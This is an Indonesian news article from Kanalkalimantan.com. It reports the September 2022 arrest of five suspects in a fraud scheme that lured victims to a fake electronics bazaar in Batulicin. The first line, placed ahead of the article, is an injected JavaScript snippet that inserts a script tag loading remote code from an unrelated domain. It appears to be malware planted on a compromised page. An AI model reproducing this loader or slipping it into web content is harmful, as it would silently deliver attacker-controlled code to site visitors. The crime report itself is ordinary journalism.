(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Komplotan Penipu Modus Gelar Bazzar Barang Elektronik Dibekuk Polres Tanbu di Kaltim


KANALKALIMANTAN.COM, BATULICIN – Polres Tanah Bumbu berhasil membekuk empat komplotan pelaku penipuan. Sebanyak sepuluh korban, sebelumnya telah mengadukan kasus ini ke Polres Tanah Bumbu.

Menindaklanjuti laporan itu, Selasa (6/9/ 2022), Unit Resmob Satreskrim Polres Tanah Bumbu berhasil menangkap komplotan tersangka penipuan yang dimaksud.

“Dengan dibackup Resmob Polres Kutai Timur, Unit Resmob Satreskrim Polres Tanah Bumbu pada Selasa (6/9/2022) sekitar pukul 08.00 Wita, di Kelurahan Wanasari, Kecamatan Muara Wahau, Kabupaten Kutai Timur, Kalimantan Timur mengamankan 3 orang perempuan berinisial T (26), F (25), dan D (27) dan 1 orang laki-laki berinisial NW (35),” ungkap Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas Polres Tanbu AKP I Made Rasa, Kamis (8/9/2022).

Dari penangkapan empat tersangka tersebut, polisi melakukan pengembangan kasus dan di hari yang sama pada pukul 15.00 Wita, Unit Resmob Polres Tanah Bumbu dengan dibackup Resmob Polres Berau berhasil mengamankan 1 orang laki-laki berinisial RAF (20) di Jalan Aminudin RT 19 Kelurahan Bugis, Kecamatan Tanjung Redep, Kabupaten Berau, Kalimantan Timur.

Baca juga  : TERUNGKAP. Ini Identitas Kedua Anak Korban Tenggelam di Galian C Sungai Ulin

Adapun AKP Made menjelaskan bahwa awal kejadian modus penipuan ini bermula pada Sabtu (13/8/2022) sekitar pukul 10.00 Wita, seorang korban mendapatkan panggilan telepon, dengan mengatasnamakan perempuan yang mengaku sebagai Siska dari Multi Jaya Best Home Appliance yang berada di Jakarta.

Pelaku kemudian mengatakan kepada korban bahwa ingin berbagi rezeki, berupa bazzar barang elektronik di toko Multi Jaya Best Home Appliance Cabang Batulicin dan mengarahkan korban untuk mendatangi toko tersebut.

Sesampainya di toko pada pukul 13.00 Wita, korban disambut oleh salah seorang pelaku yang mengaku sebagai Bisma dan merupakan karyawan Multi Jaya Best Home Appliance Cabang Batulicin.

Di sana korban diberikan beberapa amplop untuk dipilih dengan syarat membeli barang elektronik di toko tersebut dengan nominal paling kecil sebesar Rp 4 juta.

Baca juga  : BAPOR Kemenag HSU Sukses Pertahankan Juara Umum di Ajang Baporseni 2022

Korban yang menyetujui kemudian mendapatkan dispenser dan membeli kulkas dengan memberikan uang sebesar Rp 3,5 juta, dikarenakan sudah dipotong dengan nilai hadiah voucher milik korban yang didapatkan sebelumnya.

Korban juga diberikan nota pembelian dari pelaku. Dikarenakan korban tidak bisa membawa kulkas langsung pada hari itu, korban menitipkan barangnya di toko tersebut untuk minta diantarkan ke rumah korban, dengan biaya tambahan sebesar Rp 450 ribu.

Sehari sesudahnya, pada hari Minggu tanggal 28 Agustus 2022 sekitar pukul 13.00 Wita, korban kembali mendatangi toko tersebut guna menukarkan dispenser, yang dibeli korban dengan barang yang lain sekaligus menanyakan perihal pengantaran kulkas miliknya.

Namun, sesampainya di sana ternyata toko sudah tutup, selama tiga hari dan mengatakan ingin pergi Banjarmasin.

Baca juga : 3 Tahanan Polsek Banjarmasin Tengah Kabur, 1 Sudah Berhasil Ditangkap!

Korban kemudian kembali mendatangi toko tersebut pada hari Selasa tanggal 30 Agustus 2022, dan ternyata sudah banyak korban lainnya yang turut mengalami modus serupa.

“Atas kejadian tersebut korban atau terlapor mengalami kerugian sebesar Rp 3.950.000 dan melaporkan ke Polres Tanah Bumbu guna proses lebih lanjut,” ujar AKP Made.

Dari penangkapan lima orang tersangka yang kabur ke Kalimantan Timur, polisi mendapati barang bukti berupa 1 kipas angin, 1 blender, 1 kompor, 1 magic com, 1 handphone, 1 laptop, 1 kaca piring, 1 surat kwitansi, 1 spring bed, dan 1 speaker active.

Sebagai pendalaman pihak kepolisian, AKP Made mengimbau kepada  masyarakat Tanah Bumbu, yang menjadi korban dan merasa dirugikan dalam kasus tersebut agar dapat segera melaporkannya ke Sat Reskrim Polres Tanbu. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

3 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

4 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

4 jam ago

Pelajar dari 23 Negara Ikuti OPPO RUN 2024

KANALKALIMANTAN.COM, BALI – Didukung oleh BRImo, OPPO Indonesia resmi menggelar OPPO RUN 2024 yang berlangsung… Read More

6 jam ago

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

23 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

24 jam ago

This website uses cookies.